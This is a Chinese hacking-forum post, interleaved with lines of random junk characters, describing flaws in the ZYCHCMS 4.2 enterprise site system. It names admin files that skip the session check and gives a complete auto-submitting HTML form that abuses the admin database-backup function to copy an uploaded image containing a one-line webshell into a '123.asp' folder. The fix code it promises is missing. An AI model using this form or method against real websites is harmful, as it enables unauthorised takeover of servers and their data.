中国网络渗透测试联盟
标题:
ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell
[打印本页]
作者:
admin
时间:
2012-9-10 21:09
标题:
ZYCHCMS企业网站管理系统SQL注入漏洞及后台拿webshell
5 h- W& z& Y- v
4 v7 u) U) C: F: U6 ?4 c
1 ?( }" i* A( }
f! _, k0 o( [: l
影响版本:ZYCHCMS企业网站管理系统4.2(存在以下两个文件的版本应该是通杀)
% r+ q5 y. h) N) i
①SQL注射漏洞
8 P" U( H8 w, G* p$ ~
漏洞文件:/admin/add_js.asp & /admin/add_xm_jiang.asp
9 Q! `8 q( g, e; V! N4 y
漏洞原因:未过滤
" ^% M+ J0 K& [. c( t z, j5 [5 N
漏洞代码:
& p' l4 x7 {' F( B7 J5 b
都是相同的,文件开头没有调用过滤文件/admin/seeion.asp,导致没有对当前权限进行判断,就直接操作数据库。
( q4 m) N' F" m( |9 G9 D" }
修复方法:在文件开头加入代码
) W9 d T( e5 F$ J& X5 B: A
% c4 m" D, z1 o4 K8 Y4 T
?5 ~% Q. Z5 j1 C6 @" x
②后台拿WBSHELL
) N+ W5 r) C7 B9 i( \6 ]$ o8 @# [
进入后台有一个数据库备份,可以通过本地提交突破创建.asp后缀文件夹,并将一句话备份进去。
' d: k: g- N8 o5 ?6 d/ b
这里在网上找了一个,改了下,将就着用。
2 E }0 }! p! v8 c9 }5 j+ k8 A
以下是代码本地提交代码
' Y+ V4 w6 h6 @" t! }7 f& w
& z5 s, \+ G; |# R t; u2 X
) Z+ K6 k" P2 U1 ~4 I
<form method=”post” action=”http://localhost/admin/Manage_backup.asp?action=Backup” name=add>
1 w8 L5 m" S2 s: u- c* W
<!–eg:
http://127.0.0.1:99/admin/Manage_backup.asp?action=Backup
–>
3 }' N+ u4 r3 P5 Y+ k6 k
<tr>
! }% o) h9 P2 A7 C- {
<td height=”30″ background=”images/bg_list.gif”><div style=”padding-left:10px; font-weight:bold; color:#FFFFFF; text-align:left”>备份数据库</div></td>
0 t8 M, L t) z- a* Z: v
</tr>
M5 L- P j6 M/ G* D% q6 O s: D& ^
<tr>
2 W# k+ U/ `1 O+ k9 r* ?7 m
<td bgcolor=”#FFFFFF”><span class=”back_southidc”>
! B" H' Z, e. G
</span>
J& H; O% D7 N& F q. t( ?
<table width=”100%” border=”0″ align=”center” cellpadding=”5″ cellspacing=”0″ >
' J1 i, W! v3 b B4 B9 a
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″ >
! T. v9 A, X$ `! Z$ ~9 Z6 y
<td height=”25″ width=”30%” class=”td”><div align=”left”>当前数据库路径</div></td>
, ]9 L# z0 _ q
<td width=”70%” class=”td”>90sec. K5 L9 v8 S8 d
9 X& G2 R& z4 E0 n1 G B, @; M
<div align=”left”>
2 A. R# a- l' z2 g$ | w# b
<input type=”text” size=”30″ name=”DBpath” value=”此处为你在其网站上传的图片格式一句话路径” />
1 s$ O! b& O0 R/ O) o* _6 B4 N
<!–eg:../uploadfile/image/Logo/20120803130885328532_ZYCH.jpg>
2 G8 v( x& m) r2 b4 h
<input type=”hidden” size=”50″ name=”bkfolder” value=”123.asp” />
" C$ g5 ^% q) Y( u, o
</div></td>
7 f; Z G; z# U, g
</tr>
. U$ g5 ?6 U6 E# D" C$ R
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#FFFFFF’” bgcolor=”#FFFFFF”>
$ i( H V% O2 A, n" `/ ]3 m7 ?6 |
<td height=”25″ width=”30%” class=”td”><div align=”left”>备份数据库名称</div></td>
( Z4 D: X! S. h# g
<td class=”td”><div align=”left”>
; i4 v2 p& \: C- O
<input type=”text” size=”30″ name=”bkDBname” value=”4.mdb” />
4 A" o4 c7 o0 x/ m+ d
[如备份目录有该文件,将覆盖,如沒有,将自动创建]</div></td>
, m8 [& L7 ]. m, D$ }" \4 v' G
</tr>
3 x+ D; m5 J' \8 Q. A
<tr onmouseover=”style.backgroundColor=’#EEEEEE’” onmouseout=”style.backgroundColor=’#F1F5F8′” bgcolor=”#F1F5F8″>
2 U, `# `7 O" T8 A
<td height=”25″ width=”30%” class=”td”><div align=”left”></div></td>
- K0 |2 e4 N, V/ X- M5 K) N) H
<td class=”td”><div align=”left”>
( ^ E' y6 }, F
<input type=”submit” value=”确定备份” class=”btn”
0 E; q/ d7 |! U$ P/ V
</div></td>
$ X! U/ p1 v" G2 _ D$ o+ T
</tr>
) s/ A" }. z3 u! w- d! Y; t
</table></td></tr></form>
+ d8 d" G2 |( r* Q7 f( D
</table>
% I ?, H: Z- p5 K/ r. q3 P
</td>
, N+ M8 J/ A# J& k$ y: j2 n
</tr>
6 w( p1 L! {; o
</table>
- O2 M7 {, M8 n6 K0 {9 y
<script>
% m+ J2 Q# I# l: T! S1 X! A
document.all.add.submit();
1 P& W* `3 B2 G4 w
</script>
3 F( E: I2 N4 |
2 o( \( E( v7 [" a a8 O
1 H" G' _* j9 w. t$ f& d
' [/ a% |* E3 o- b
+ \! f( V' Z# x* _8 f/ [) q
( H+ [# n) i0 g
" Z: C$ t! _2 F* J# v' q& X/ U
( V9 y5 `* A' H; W% i
8 m: k) k- \9 M3 a2 S3 V
! h# W* ^: k' N3 M! r7 W6 X
* ]& U( W$ a( V( Y4 u3 J$ k. W
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2